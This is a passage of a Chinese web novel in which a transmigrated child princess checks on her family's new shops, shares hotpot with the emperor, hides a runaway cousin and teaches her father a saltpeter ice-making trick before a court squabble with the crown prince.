店门口排起了长长的队伍,客人们翘首以盼着能早点进去吃上热气腾腾的火锅。 弥漫着浓郁的火锅香气飘出老远,还在吸引更多的人来。 店铺里混合着人们的欢声笑语,热闹非凡。 唐蕊透过车窗,甚至还看到了司徒安这个乔装打扮的小皇叔,扯着门口的店小二,直接扔给他一个银元宝:“小爷要厢房!” “好嘞,客官,您也是运气好,厢房还剩最后一个,您这边儿请!”小二满脸笑容,把他迎了进去。 唐蕊放下车帘,高兴的跟幻蝶蛐蛐:“我记得朱庶母这火锅店的厢房可是有二十七个哇,居然坐满啦!” 幻蝶笑道:“火锅好吃,没人不喜欢的。” 上次王府主子们涮火锅,膳房的老王也留了一点汤料,她过去跟着凑了个热闹。 那种麻辣香味,这辈子她都不会忘。 “可以可以!”唐蕊眼眸弯弯,心情很好。 生意这么火爆,她也能赚更多的钱。 “走,去下一家!” “是!” 唐蕊没有进去,而是掉头去了张庶妃的点心铺! 这次更夸张,还没到地方呢,店铺门口就已经排起了长队。 点心不比火锅,相对比较便宜,能接受的百姓也更多。 只是唐蕊没有想到,这么多人爱吃甜的。 唐蕊让大格和二格往前走了一段,这才看到店铺里的情况。 点心铺不大,唐蕊特意建议张庶妃像现代那样,直接把厨房露出来,现做现卖。 当然,那些蛋挞皮和鸡蛋液都是事先做好以及调好的,现在只用当着客人,往蛋挞皮里倒入蛋液,开始烤就行。 别人就算想模仿,也模仿不了。 古代的厨房都不会露出来,这种新奇模式古人们也是第一次见,可不就火爆么? 咱们用的什么食材,正大光明摆在眼前,您吃得放心,我们也宽心。 除了蛋挞和双皮奶,唐蕊还看到了几种熟悉的点心,一看就是出自老王的手。 老王手艺不错,买他糕点的百姓也不少。 只是… 唐蕊看了看铺子里那个忙得团团转的容嬷嬷,有些于心不忍了。 容嬷嬷年纪大了,这段时间一直在教张庶母的人做这些糕点,现在还跑店铺里来帮忙… 唐蕊放下车帘,对幻蝶道:“等容嬷嬷回府后,你让她回翠微阁来吧,以后点心铺的事,她就别操心了。” “是!”幻蝶点头应下。 … 看完了点心铺,唐蕊又去了顾侧妃的戏剧茶园。 得,进不去,根本就进不去! 里面高朋满座,生意也很好。 唐蕊在马车里,都能隐隐听到戏子咿咿呀呀的声音。 看来这些人都挺喜欢她写的剧本嘛! 唐蕊放心了,最后让大格和二格驾车去李庶妃的美妆店铺。 只是,到了美妆店铺后,唐蕊诧异了。 店铺里冷冷清清,除了掌柜和小二,一个人都没有。 比起前面四个热闹至极的店铺,这里都算得上惨烈了。 第157章 火锅威力,皇帝出宫 什么情况? 唐蕊愣了愣,招呼幻蝶:“下去问问,为何如此清冷哦!” “是!”幻蝶下了马车,走进店铺。 就一炷香的功夫,她就回来了,如实禀告唐蕊:“郡主,店铺里卖的都是您调制的乳霜,这是擦在脸上的东西,不比别的,女子总要慎之又慎。再者…” 说到这里,幻蝶抿唇一笑:“您的胭脂铺在邓掌柜的经营下生意很好,俨然成了京城里的老字号,比起这家新店,女客们更喜欢去那一家铺子。” 唐蕊闻言一呆:“不是,乳霜和胭脂水粉又不一样。” “可是女客们不知道啊!”幻蝶好笑道:“乳霜这种东西以前从没出现过,在女客们的理解里,这种东西就是胭脂水粉中的一种,所以…” 唐蕊听懂了,有点无语。 也是,放在现代,保养品和化妆品很多女孩纸都归为一类呢,更别说这里了。 怪她,忽略了这个细节。 那么问题来了,现在该怎么办呀? 就在唐蕊苦思冥想的时候,几两马车匆匆而来,停在店铺门口。 几个穿着不错的女子下了马车,纷纷往店铺里走去。 “邓掌柜说的就是这家铺子吧?” “好像是,听说只卖一种叫乳霜的东西,能让女子皮肤变得柔润细腻,还能美白,就连几位王妃娘娘都在用呢!” “快快,咱们去看看,真好的话,我要多买点回去。” … 几个女子的议论声飘入唐蕊耳中。 唐蕊:“…”得,不用想了! 幻蝶一脸赞叹:“郡主,这位邓掌柜倒是个能干的。” “嗯呐!”这一点唐蕊也很赞同。 邓忠孝秉性好,能力也不错,让他当总经理,真没找错人。 唐蕊没有立刻离开,而是让大格和二格把马车驾到路边,观望着这里。 短短小半时辰,一辆又一辆马车赶来,女子们三三俩俩朝店铺里走去。 本来清冷的店铺,逐渐热闹起来。 不用猜都知道,这些女客都是邓忠孝介绍过来的。 看着逐渐变得拥挤的店铺,幻蝶笑道:“郡主,现在您该放心了吧?” “肯定哦!”唐蕊最后看了一眼店铺,让大格和二格驾车离开了,小嘴还嘀咕着:“回去后我要跟庶母们建议一下,给邓忠孝加点工资。” 幻蝶点点头:“那…郡主,我们现在回府吗?” “不!出都出来了…”唐蕊握拳:“我要去火锅店搓一顿!” 幻蝶:“…” … 同一时间,皇宫勤政殿! 皇帝听完龙隐卫的汇报,都怀疑自己听错了:“火锅店?” “是!”龙隐卫低眉顺眼,面无表情:“虽然火锅店在朱侧妃名下,但属下已经调查过了,璃王府几位女主子的铺子里出售的东西,都是出自昭华郡主之手!” “陈德福!”皇帝坐不住了,当即道:“换身便服,随朕出宫!” “啊?”陈德福愣了愣,赶紧说道:“皇上,您要是喜欢吃这个叫火锅的东西,奴才出宫给您买就是了,不用非得亲自…” “朕就是要亲自去看看!”皇帝挥挥手,打断他的话:“赶紧的,给朕拿件合适的衣裳。” “奴才遵旨!”陈德福一脸无奈,赶紧去办。 他也是搞不懂了,皇上为什么非要亲自出去。 这个叫火锅的东西,就这么好吃吗? 就算好吃,可皇上又不是昭华郡主那种吃货,怎么现在像是被昭华郡主传染了似的? 等等… 陈德福突然想起来,以前皇上跟姜妃关系很好的时候,姜妃娘娘好像也给皇上做过这个叫火锅的东西来着。 … 皇帝说走就走,片刻的功夫就到达了目的地。 抬头看了看金光闪闪的牌匾,火锅店三个大字金光闪闪,简单又直白。 只不过,这三个字倒是有趣,明显精心设计过。 火字两边的点是两团燃烧的小火焰,锅字右边上面的口,画着一个缩小版火锅。 不仅如此,店铺左边还挂着一块红檀木牌子。 ——你爱吃辣吗?想体验辣到极致却依旧无法停下筷子的感觉吗?进来感受一下吧!本店火锅,鲜香麻辣,越吃越上头!注意:若是您实在吃不得辣,本店郑重推荐鸳鸯锅,鲜香大补! “嘿哟!”陈德福像是看稀奇似的:“这什么鸳鸯锅,老奴听都没听说过。还有这字,也挺有意思的,昭华郡主这小脑瓜子,也不知道怎么长的,怎么就有这么多稀奇古怪的想法呢!” “那丫头,鬼点子多着呢!”皇帝也没见过这种字,哈哈一笑往里走去。 “哎哟客官!”店小二赶紧拦住了他们:“实在不好意思,小店已经满座了。” 陈德福闻言脸一垮,呵斥道:“瞎了你的狗眼,我们老爷要厢房,不是说厢房不用等吗?” 店小二点头哈腰赔笑脸:“小的看出来了,二位爷都不是寻常人呐,肯定是要厢房的,可是…这厢房…也满了啊…” 陈德福哪敢让皇帝等,赶紧说道:“那你就去问问,有没有谁愿意让让,我家老爷…” “罢了!”皇帝抬手打断他的话:“等等就等等,不碍事!” “老爷子不但不是寻常人,还是位通情达理的大好人呀!”店小二嘴甜得很,竖起大拇指,马屁乱拍:“您放心,很快的,一会儿厢房空出来了,小的一定第一时间告诉您。” “嗯!”皇帝带着陈德福走到一边。 就在这时,一辆马车驶来。 幻蝶下了马车,又把唐蕊给抱了下来。 和对待皇帝不同,店小二明显认识唐蕊,赶紧上前:“小贵人您来啦,主子特意吩咐过,单独给您留一间专用的厢房,您随小的来。” “好!麻烦你啦!”唐蕊倒是没想到朱庶母这么周到,还专门给她留了个专用场地。 只是,正要进去时,陈德福赶紧开口:“昭华…贵人,昭华贵人!” 唐蕊听到有人喊她,回头一看,猛的瞪大眼睛,一句卧槽脱口而出! 皇帝眼底划过一丝精光,漫不经心问道:“昭华,什么卧槽啊?” “没…”唐蕊后知后觉反应过来,不小心用上了现代国粹,赶紧小跑过去:“皇…爷爷,您怎么来啦?” 皇帝呵呵一笑:“听说了这个火锅店,就来尝尝,可店小二刚刚说厢房满了,昭华介不介意跟爷爷拼个桌啊?” 第158章 难道说,皇后真有个双胞胎妹妹? “当然不介意,爷爷走,昭华牵着您!”这可是大佛,唐蕊哪敢怠慢。 店小二一脸懵逼,看了看唐蕊,又看了看皇帝。 他是知道唐蕊身份的,朱侧妃有跟他说过。 那么…唐蕊的爷爷,不就是…是… 店小二后知后觉反应过来,腿一软扑通一声跪下了,笑得比哭还难看:“小的参…” “怎么跪下啦,是不是站久了太累了?”唐蕊打断他的话,皱了皱小鼻子:“要是累了就去休息。” “没…没…”店小二隐晦的了看一眼已经在朝这边瞅的排队百姓,擦了擦脑门上的冷汗,赶紧起身,无比热情:“贵人请进,小的给您带路!” “有劳!”皇帝点点头,牵着唐蕊往里走去。 店小二愣愣的看着他的背影,这一刻突然觉得无比伟岸! 这就是大夏的君主,和蔼可亲,平易近人,没怪罪他不说,还跟他说有劳。 他只是一个店小二啊,哪里受得起? 呜呜呜… 有点想哭是肿么肥事? 店小二眼眶红红,赶紧追上去,给两人带路:“二位慢点,担心台阶!” “好!”皇帝全程没有丝毫不耐烦,也没有架子。 不仅是他,唐蕊也是这般。 店小二感动得要死,把二人送进专属厢房后,立刻飞奔下楼告诉掌柜的,来了贵人。 掌柜神色一肃,当即亲自跑到后厨,让厨子们准备好锅底,亲自送上去。 没一会儿,厢房里煮上了热气腾腾的火锅。 掌柜的笑眯眯的递上菜单,亲自伺候。 唐蕊先让皇帝点菜,皇帝看了看,点了几个爱吃的,又把菜单递给她:“昭华也看看,想吃什么。” 唐蕊摸着自己的圆鼓鼓的小肚子,口出狂言:“不用选,把店里每个肉菜都来一个。” 掌柜眼尾一抽,小声提醒:“郡主,咱们店里的菜有九种,这…都上啊?” “才九种?”唐蕊一听立马改口:“那就每道肉菜上三份!” “是…是…”掌柜赶紧滚去上菜了。 朱侧妃不是没告诉他,昭华郡主能吃。 可…这踏马也太能吃了吧? 皇帝也是一脸无语。 这孙女,以后不会变成第二个朱侧妃吧? 皇帝委婉提醒:“昭华,吃太多会发胖,当心嫁不出去!” 唐蕊才不怕呢,摇了摇手指:“皇爷爷,非也非也,我都是郡主了,您又这么疼我,谁不想娶啊?别说我是胖子了,就算我貌丑无颜,只要说一声想嫁人,那想娶我的人加起来估计都能围京城三圈呢!” “…”虽然这话没错,但皇帝还是故意唬她:“就算如此,那些人也不是真心想娶你,而是看重你的身份。” 唐蕊小手一摊,没所叼谓:“那又怎么样?就算不是真心,依旧是我说东他不敢往西,我让他上房,他不敢撵鸡,嘴里说着我爱听的话,手上做着讨好我的事儿。这个人不管心里再如何厌恶我,都会一辈子对我好哦。能维持一辈子的谎言,那就不是谎言啦!” 皇帝噎住了! 陈德福惊叹唐蕊能看得如此透彻的同时,对她也越发喜爱了。 小小年纪,聪慧至此,这样的娃娃,谁又会不喜欢呢? 陈德福掩唇一笑:“皇上,小郡主说得没错,只要有您和璃王殿下给她撑腰,谁敢欺负她呀?就算日后嫁了人,那人再不乐意也得一辈子对咱们小郡主好呢!” “呵呵…”皇帝轻笑出声,败下阵来:“也罢,那朕也努努力,活得更久一点,给咱们昭华撑腰!” 唐蕊一听赶紧道:“皇爷爷,您可是万岁哦,那肯定要活很久很久,比昭华都久哇!” “哈哈哈哈…”皇帝大笑出声。 每次跟唐蕊相处,心情总是这么愉悦。 这孩子,确实讨喜! 没一会儿,锅里煮开了。 掌柜的也把几十盘子菜送来了。 当然,怕唐蕊不够,每一份肉菜他还都是加了量的。 唐蕊拿起筷子就开炫,还不忘给皇帝烫菜。 这个好吃,这个也好吃。 皇帝吃着碗里的菜,眼眶却有些发红。 唐蕊以为他辣着了,赶紧给他倒了茶:“皇爷爷,这是鸳鸯锅哦,您要是吃不惯辣,就吃清汤的。” “嗯…”皇帝点点头,调整了一下自己的情绪,不动声色问道:“昭华啊,听说这火锅是你捣鼓出来的?” 唐蕊点头:“是哦,冬天吃点火锅,最合适啦!” 皇帝闻言神色微凝,深深的看了唐蕊一眼,眼底复杂之色一闪而逝:“朕知道你一直聪慧,可你怎么想得出这么稀奇的吃食?” “我…吃多了,就会啦!”唐蕊越听越觉得不对,心里渐渐警觉起来,脸上却满是无辜:“皇爷爷,怎么了哦?你是觉得不好吃么?” “没有,朕很喜欢!”皇帝笑了笑,放下筷子:“可朕没你能吃啊,你这小小的肚子,到底是怎么装得下这么多东西的?” 唐蕊呆滞脸,词穷了。 陈德福笑眯眯道:“小郡主还在长身体呢,吃得多,消食自然也快。” “对!”唐蕊一秒赞同:“皇爷爷,我还在长身体呢,长大了,就不会这么能吃了。” “好好好,吃吧,朕吃得差不多了,给你烫菜!” “不不不,我自己来就是啦!” 唐蕊哪里敢让皇帝给她烫菜,又不是活得不耐烦了。 幻蝶也懂事的上前:“皇上,这些事奴婢来做就好。” “也好!”皇帝没再坚持,就看着唐蕊吃。 只是那脸色,有些奇怪。 怎么说呢! 就好像…是在透过她看其他人一样。 唐蕊知道自己和司徒澈长得很像,司徒澈和皇后又长得很像。 四舍五入之下,就是她和皇后长得像。 难道,皇帝在透过她看皇后? 唐蕊:“…”死去的疑惑又在攻击她了。 皇帝明明不爱皇后,为什么会这样? 唐蕊真是百思不得其解! 难道说,皇后真有个双胞胎妹妹? 其实便宜老爹,是这个双胞胎妹妹的娃? 祖孙俩心思各异吃完了火锅,皇帝本想送唐蕊回府的。 但…看了看唐蕊身后那一溜串侍卫,还是作罢,只让她路上当心。 唐蕊自然应下。 回去的途中,唐蕊还在想那个问题。 就在这时,一个小小的人儿突然从巷子里冲出来。 大格和二格吓了一跳,赶紧拉住缰绳,迫使马车停了下来。 唐蕊也被这动静搞得惯性往后一靠,脑袋磕在车壁上,咚的一声! “郡主!”幻蝶脸色大变! 第159章 便宜老爹好了,她才能好 “没、我没事哦…”唐蕊晃了晃晕乎乎的脑袋。 幻蝶掀开车帘,脸色阴沉的看向罪魁祸首。 “大胆,竟敢…”刚说一句,幻蝶也看清了那人的脸,顿时惊呆了:“研郡主?” “??” 司徒妍? 唐蕊听到她的惊呼声,也赶紧伸出了小脑瓜。 得! 这不是司徒妍又是谁? 只不过现在的司徒妍穿着粗布麻衫,头发凌乱,浑身脏兮兮的。 看到唐蕊,她哭着上前,还不时回头惊惧的去看那个巷子:“昭华,救我!” “上车先!”唐蕊给幻蝶使了个眼色,幻蝶抓住司徒妍把她拉上马车。 大格二格二话不说,驾车离开。 马车刚走,一伙人就冲出了巷子,不停环视周围:“这贱人,跑哪儿去了。你们去那边找,你们跟我去这边!” 他们没看到,前面微微掀起的马车窗帘放了下来。 唐蕊看向快要认不出来的司徒妍,一脸狐疑:“你怎么回事?不是说去普光寺了吗?他们为什么要追你?” 司徒妍蜷缩成一团,默默的抱着自己流泪,也不说话。 唐蕊无语:“喂,我问你话呢!” “没…”司徒妍擦掉眼泪,满脸哀求:“昭华,能不能给我一处容身之地,不要告诉任何人?” 唐蕊没好气道:“你不会是不想去普光寺,私自逃了吧?那可是皇爷爷的命令,我要是帮了你,不也成共犯了?” “不会的,就算有一天皇爷爷的人找到我,我也不会供出你的,你只要给一个住处,一点银子,这就够了。”怕唐蕊不答应,司徒妍声声哀求:“昭华,我们可是堂姐妹,以前我也没有对不起你的地方,求求你,帮帮我,不然我真的会死的。” “除非你告诉我,发生了什么事,那些人为什么要追你,不然我不会帮你!”唐蕊双手环胸,丝毫不为所动。 她还不至于圣母到不明缘由就出手,万一惹祸上身,或是受了牵连,遭殃的可是一大家子人呢! 司徒妍咬了咬唇,不知想到了什么,眼泪又不自觉溢出眼眶,整个人看上去都快碎了:“我告诉你,你能不能帮我保密?” 唐蕊扬了扬下巴:“说说看!” “是…是阿月,郁金香,是她找来的,也是她怂恿我对母妃和陶庶母下手,没事还经常在我耳边嘀咕,父王要是有了儿子,就不会管我们姐妹俩了…我…我…我一直护着她,什么都挡在她前面,可现在…她…竟然要杀我…呜呜呜…” 唐蕊惊呆了:“你说的是真的?司徒月才多大啊,她有这么深的心机?” 七岁的孩子啊… 可一想到司徒谦,唐蕊又沉默了。 “我也不敢相信,可昨天晚上,那些人悄悄入了柴房,要不是踢到东西惊醒了我,我都跑不掉…别的人我也不认识,其中一个人我认得,他是月儿的马前卒…”说到最后,司徒妍又哭了。 “…”皇室里的孩子,除了新生儿,貌似就没单纯的。 唐蕊也没想到,司徒月竟然是这种人。 平时看着她挺老实的,存在感也不强。 可这… 唐蕊皱眉道:“你就没找睿王叔求救哦?” 司徒妍流着泪摇着头:“我要是告诉父王,月儿肯定难逃罪责,她是我一母同胞的亲妹妹,我不能害她…” “你糊涂!”唐蕊怒其不争:“她都想要你的命了,你还不反击?难道真要被她杀了才开心?大格,进宫,我带她去找皇爷爷做主。” “不要!”司徒妍哀求道:“昭华,你不懂,长姐如母啊!我与月儿自小相依为命,她是我嫡亲的妹妹,是我在母亲弥留之际发誓要一辈子疼爱的妹妹,我不能害她啊!” “…”妹妹又怎么了? 她有拿你当姐姐吗? 真是服了! 唐蕊想到了自己的经历,心情有些烦躁:“那你打算怎么办?” “我只求一个容身之地,有点银子傍身,隐姓埋名就好…”司徒妍巴巴的看着她,眼睛都好像有点哭肿了:“昭华,帮帮我好不好?求求你了!” “没出息!”唐蕊骂了一句,摸出一沓银票扔给她:“大格,你陪她去买个小院儿,再找两个可靠点的人伺候着。” “是!”大格勒停马车。 司徒妍满脸感动:“昭华,谢谢你…” “去吧去吧!”唐蕊不耐烦的挥了挥手。 司徒妍下了马车,一步三回头,眼底满是感激之色。 二格驾着马车继续行驶,唐蕊心里却说不出的郁闷。 幻蝶小声道:“郡主,这事不告诉皇上吗?” 唐蕊冷笑道:“不说,谁也别说,我看她还没吃够苦头呢,回府后找几个侍卫暗中跟着她,等她濒死之际再出手。” 自己立不起来,别人怎么帮都没用,说不定还会反遭对方怨怼,白惹一身骚。 司徒月既然做得出,就不会留下司徒妍这么大个威胁,迟早会再次动手。 她倒要看看,等到真要命的时候,司徒妍还会不会这么天真。 … 时光匆匆,转眼就入了夏。 司徒妍在唐蕊的帮助下,暂时安置了下来。 司徒月没有找到人,貌似也收手了。 但唐蕊知道,这一切只是暂时的。 一旦司徒月得知司徒妍的下落,绝不会善罢甘休。 府中,秦芷嫣的肚子如吹气球一般鼓了起来,朱侧妃又胖回去了。 五个铺子生意火爆,成衣铺最近俨然成了京城的潮流,每天门槛都要被踏烂了。 出去走家串户,不拥有一件锦绣成衣铺的衣服,都被划为土包子行列。 美妆店更是日进斗金,李庶妃每天数银子数得手抽筋,不止一次跟自家福宝吐槽:“还好当初只分了一个铺子,要是五个铺子都占了,我一天也不用干别的,就数银票好了。” 福宝:“…”可您当初还因为只分了一个店铺闷闷不乐大吵大闹呢! 点心铺生意也好得不行,老王的提成占了一股,越来越有劲头,每天除了准备膳食喂投唐蕊之外,就是研究各种新奇的糕点。 唐蕊看他这么能干,干脆把现代的蛋糕种类教给他。 比如蜂蜜蛋糕,小饼干,还有生日蛋糕等等。 具体怎么弄,唐蕊也不是很懂,只是会个大概。 但这就已经足够了,老王知道方法后,多试几次都能试出来。 特别是生日蛋糕,一经推出,点心铺的生意好了不止一个档次。 生日蛋糕也渐渐在权贵圈子里流传开来。 茶社戏院更不必说,唐蕊把各种现代短剧套路稍微改改,就让给戏班子每天按时按点的唱。 现在去梅园,那得提前预约,要是不预约,根本就没位置。 至于火锅店,销售额倒是下滑了一些。 京城夏天炎热,才四月份温度至少30,吃火锅的人也少了一些。 朱侧妃跟唐蕊说过这事儿后,唐蕊建议她往火锅店里放冰块。 朱侧妃一脸为难:“可是冰块好贵的,这样一来,我们就没什么利润了。” 唐蕊闻言一愣,很是不可思议:“贵?怎么贵哦?自己做哇!” 朱侧妃惊讶道:“自己做?怎么做?” “…”难道硝石制冰法没普及么? 不是吧? 龙国两千多年前其实就已经实现冰块自由了啊! 唐蕊试探性问道:“朱庶母,我们平时用的冰是哪里来的?” 朱侧妃理所当然道:“有专门的冰商啊,他们会在家里挖很深的地窖存冰,又或是在稍远一些寒冷的山上有存冰点,一到夏天,这些冰贩子就靠着冬天存下的冰赚钱了。” 唐蕊惊呆了:“不是,那在运输的途中,冰块就不会化掉么?” 朱侧妃:“会是肯定会的,但这也是没办法的事啊,李庶妃家去年好像也涉足了这项生意,我也是听她说的,赚得不多,她爹都不想干了。” 唐蕊:“…”单扣一个6。 朱侧妃左右看了看,双眼晶亮,小声问道:“蕊蕊,你知道什么简单的制冰方法吗?” 唐蕊点了点头:“知道啊。” “真的?”经过店铺的事,朱侧妃知道唐蕊鬼点子多,顿时激动起来:“我跟你说,王府也好皇宫也罢,每年用冰都是一项大开销,还有那些炎热偏远的地区,夏日也很缺冰块,如果你把这方法交给王爷献上去,皇上肯定会龙颜大悦。搞不好,还能让王爷名正言顺拿回兵权呢!” 司徒澈受伤回来后,就主动卸了兵权。 哪怕黑鳞骑现在还认司徒澈这个元帅,但总是名不正言不顺。 朱侧妃也是跟司徒澈私下相处的时候,无意中听司徒澈提到过,最近皇帝想把黑鳞骑的兵符给他,但皇后和太子一直在阻挠。 “??”还有这事? 唐蕊当即起身:“那我去找爹爹说。” “去去去,快去!”朱侧妃一万个支持:“皇上开心了,不光是王爷,你也会跟着受益的。” “我现在的地位已经不低了…”唐蕊这话真没乱说。 她不光是一品郡主,还有免死金牌,封地,食邑万户。 就算是皇帝的公主,都不如她这个郡主身份尊贵。 她平时的人设是很讨喜,但这还不足以让她有如今的地位。 她所得的一切,很大原因都是因为她是司徒澈的女儿。 只要不犯错,皇帝爱屋及乌之下,也会宠着她。 她和便宜老爹的命运是联系在一起,便宜老爹好了,她才能好,这一点唐蕊比谁都清楚。 “也是!”朱侧妃摸着下巴点头:“你这在往上就是护国公主了,那必须得是皇上的女儿才行!” “好啦,朱庶母,我去找爹爹啦!”说是这么说,唐蕊心里却在想,护国公主也不是很难的样子,只要便宜爹登上皇位,她还怕混不到护国公主,走上人生巅峰吗? 唐蕊很快来到司徒澈的书房,跟他说了制冰的事儿。 司徒澈神色一喜:“蕊蕊,你当真知道?” “…”是个高中生都知道吧! “嗯啦,很简单哦,就是硝石制冰法,只要有硝石和草木灰,想要多少冰都可以哦!”唐蕊说到这,又补充道:“对了,硝石一般混杂在茅房周围的土壤里,爹爹可以派些人给我,我带他们去采集这些土哦。” “清风!”司徒澈绝对相信唐蕊,立刻叫来清风:“带一些靠得住的人跟着蕊蕊去采集硝石。” “是!”清风就在门外,早听到父女俩的对话,已经有些迫不及待了。 每到夏日,冰块需求一直都是个问题。 用得起的,也都是权贵之家。 像底层的老百姓,想用冰那是痴人说梦。 现在好了,有了方法,冰块价格也会打下来,不光对司徒澈有利,对黎民百姓也有益。 只是… 清风迟疑片刻,还是说道:“王爷,太子买卖官员的路子断了,聚贤阁也快要关门了,去年冬日他好像囤了很多冰块,明显是想涉足这块生意。咱们这么做,他…会恨死你吧?” 司徒澈淡淡的瞥了他一眼:“本王不这么做,他就不恨本王了?” 清风:“…”这倒不是… “身为太子,不为黎民考虑,反倒想从中获利,他难道不知道那些偏远炎热的地方每年都在闹干旱吗?还是不知道每年酷暑会死多少老百姓?” 司徒澈冷哼道:“跟着蕊蕊去,本王做事问心无愧,也不怕他报复!” 第160章 你就是嫌弃我,你嫌我臭 “是!”清风拱手,朝唐蕊比了请的手势:“小郡主,请!” “请请请,爹爹,你是这个哦,我实在是太崇拜你啦!”唐蕊给司徒澈竖了个大拇指,并附送马屁一记,笑眯眯的带着清风离开了。 “这丫头…”司徒澈笑着摇了摇头,继续忙公务。 … 清风带了二十多个人,跟着唐蕊出了府。 然而… 唐蕊要带他们去的地方是京城各个巷子里的茅厕。 天气这么大,内个味,简直了。 别说唐蕊,清风都有点受不了了。 烈日炎炎,一群人外加一个小萝卜头,脸上都系了块帕子遮住鼻子,埋头苦干。 唐蕊坐在一边不停擦汗,偶尔指挥几句,屎味儿不停往鼻子里钻,心里生不如死,脸上半点不显。 好歹是郡主,她也是要脸的。 不过话又说回来,大热天的带着一群大老爷们到处找茅坑挖泥巴,这好像也不是特要脸的事儿。 瞧! 只要是路过入厕的人,都会朝他们投来奇怪的视线,赤裸裸的写着:这群人是不是变态! 盯着路人复杂的视线,一群人心里憋屈,又不敢说。 这一忙就是一整天,一群人装了很多茅厕土回府,都快被腌入味了。 所过之处府里的家丁侍婢捂着鼻子退避三舍。 个别奴才猜测,小郡主这是终于没忍住,开始吃屎了么? 还好唐蕊不知道他们的想法,不然分分钟骂人! 司徒澈闻讯而来,唐蕊嘴巴一瘪,张开小手委屈巴巴扑向他。 司徒澈反射性张开双手想接住自己的宝贝闺女,然而,闻到她身上的味儿后,脸色骤变,爆退数米。 那迫不及待的样子哦,最特么过分的是还用上了轻功。 唐蕊停下脚步,握着小拳拳满脸控诉:“爹爹,你是在嫌弃我吗?” “…”是啊,但我会承认吗?“咳…没有,本王只是觉得太热了…” “你撒谎!”唐蕊吸了吸鼻子,眼泪在眼眶里打转了:“你就是嫌弃我了,你嫌我臭!” “没有,爹爹什么时候嫌弃过你?”司徒澈尴尬不失礼貌的微笑,嘴上说着不嫌弃,却始终站得老远。 “算了…我知道自己很臭臭,我去洗澡澡了,你自己做吧!”唐蕊说罢转身就走。 司徒澈急了,反射性抬脚追。 没想到的是,在距离唐蕊还有几步的时候,唐蕊突然转身扑进他怀里。 “!!”老天奶! 这味道简直了! 司徒澈接住唐蕊,白眼一翻,差点被自家亲闺女熏晕。 唐蕊嘿嘿阴笑:“这下好了,你跟我一样臭啦!” 司徒澈敲了敲她的脑门,没好气道:“真是服了你了!” “好啦,爹爹快来,我教你怎么做!”时间不早了,唐蕊也不跟他开玩笑了,拉着他来到那些硝石面前开始指挥清风等人。 司徒澈全程在一边看着,默默记下各种步骤。 硝石制冰非常简单,之所以要去茅厕周围挖土,是因为这些是硝土,土里含有硝酸盐。 首先就是要从这些土里把硝石提出来。 将所有硝土捣碎后加入清水搅拌,再用细布过滤,就得到了含硝酸盐的清澈溶液。 接下来是第二步,为了使硝酸钠转化为硝酸钾,得往这些溶液里加入草木灰,接着把混合液倒入铁锅中加热蒸发。 待溶液冷却后,里面的结晶就是粗制硝石了。 第三步,将粗制硝石溶解于热水,过滤后再次冷却结晶,这样就能得到更纯净的硝石晶体。 最后一步,将硝石晶体投入水中,就能使水结冰了。 看着新鲜出炉的一块冰,司徒澈都愣住了。 饶是他都没想到,做冰块居然如此简单。 唐蕊提醒道:“爹爹,这样的冰块可是有毒的,可以用来消暑,但是不能食用哦。不过你要是想要能食用的冰块,也可以的,只需要找一个铜盆装清水,将铜盆套入盛满清水的大瓮中,再将硝石磨成粉,加入外层水中,一直补加硝石粉末,铜盆里的水就能结冰啦,这样的冰就是清水,可以食用的。” “还有,瓮里的硝石水可以回收的,只要倒入浅一点的大盘子里,放在太阳底下晒,晒干后,又是硝石结晶啦!” “居然如此,居然如此!”司徒澈大喜,激动的抱起唐蕊举高高,后又郑重其事道:“蕊蕊,你真是爹爹的小福星,爹爹代表大夏百姓,多谢你。” “莫得事莫得事,那爹爹,你这也会了,自己忙吧,我要回去洗澡啦!”唐蕊扔下这话迫不及待的溜了溜了。 她现在觉得自己身上一股子屎味儿,她要洗澡,洗三次! 司徒澈笑了笑,看向清风等人:“清风,你们也辛苦了,下去领赏吧,从明日开始,开始大量收集这种硝土。明日早朝,本王就向父王献上此法。” “是!”清风一行人也很高兴。 酷热地区的那些老百姓有救了,这可是大功德啊! 是多亏了小郡主,也不知道她那个脑瓜子是怎么长的,这样的方法居然都能想出来。 还好唐蕊不知道他们的想法,要是知道了只能说句,学好数理化,走遍天下都不怕,穿越更不怕! … 翌日一早,司徒澈穿戴整齐入宫。 他到的时候,朝房里已经聚集了很多朝臣了。 破天荒的,司徒霄居然也在其中,左右逢源,春风得意。 看到司徒澈,司徒霄轻笑一声,背着手走了过来:“七皇弟,昨日孤听说,你家昭华带着璃王府的侍卫,在京城里到处找茅房啊?这是怎么了?难道昭华尝够了能吃的,开始研究不能吃的了?” “这很有可能哦!”杨硫上次在朝堂上差点被司徒澈砍死,在兵部也一直被司徒澈压着,早就恨上了司徒澈,一听太子这么说立刻凑了过来:“谁不知道,昭华郡主是出了名的能吃啊?山珍海味估计都吃腻了,开始捣鼓新鲜食物了,你们说,是不是?” 此言一出,太子党的官员纷纷笑出声来。 司徒澈眯起眼眸,似笑非笑的看着他:“杨大人,妄议当朝郡主,你这是想死了,还是不想活了?” 第161章 太子皇兄这是要与臣弟打赌吗? 嘲笑的官员们一听这话集体闭嘴! 杨硫脸色一僵,讪讪道:“臣就是开个玩笑…” “开玩笑?”司徒澈冷冷一笑,一点面子都不给:“昭华是一品郡主,太子是昭华的长辈,开开玩笑也就罢了,杨大人是几品官啊?也配开这样的玩笑?” 杨硫:“…” 司徒霄:“…” 其他朝臣:“…” 要不说还得是璃王呢! 一句话奚落了太子,也威胁到了杨硫。 你杨硫一个小小的兵部侍郎,哪儿来的胆子开郡主的玩笑? 太子也是,做长辈的没个长辈样子,取笑晚辈,还是这么恶心的谣言,哪来的脸说出口的。 司徒霄深呼吸,硬挤出一抹笑:“那你家昭华昨日为何带着人到处找茅房?” 司徒澈懒懒回怼:“太子皇兄,臣弟知道你子嗣凋零,就谨哥和薇姐两个,但你也没道理来管臣弟的孩子吧?” 狗拿耗子多管闲事么? 手伸得也太长了! 想管孩子,自己生去啊! 是不想生吗? 司徒霄脸色一黑,气急败坏:“孤…孤也是为了皇室体面,你别不知好歹。” 司徒澈呵呵:“多不体面的事儿都被你家嫱姐做完了,那个时候太子怎么不想想皇室还有体面这东西,好好教孩子呢?” 司徒霄怒了:“司徒澈,你好歹是嫱姐七叔,她人都死了,你还说风凉话?” 司徒嫱虽是庶女,却是他第一个孩子,他也是用心疼爱过的。 那段时间皇帝恼他,他都没敢去给司徒嫱收尸,司徒澈现在还来说这些,这是往他伤疤上戳刀子啊! 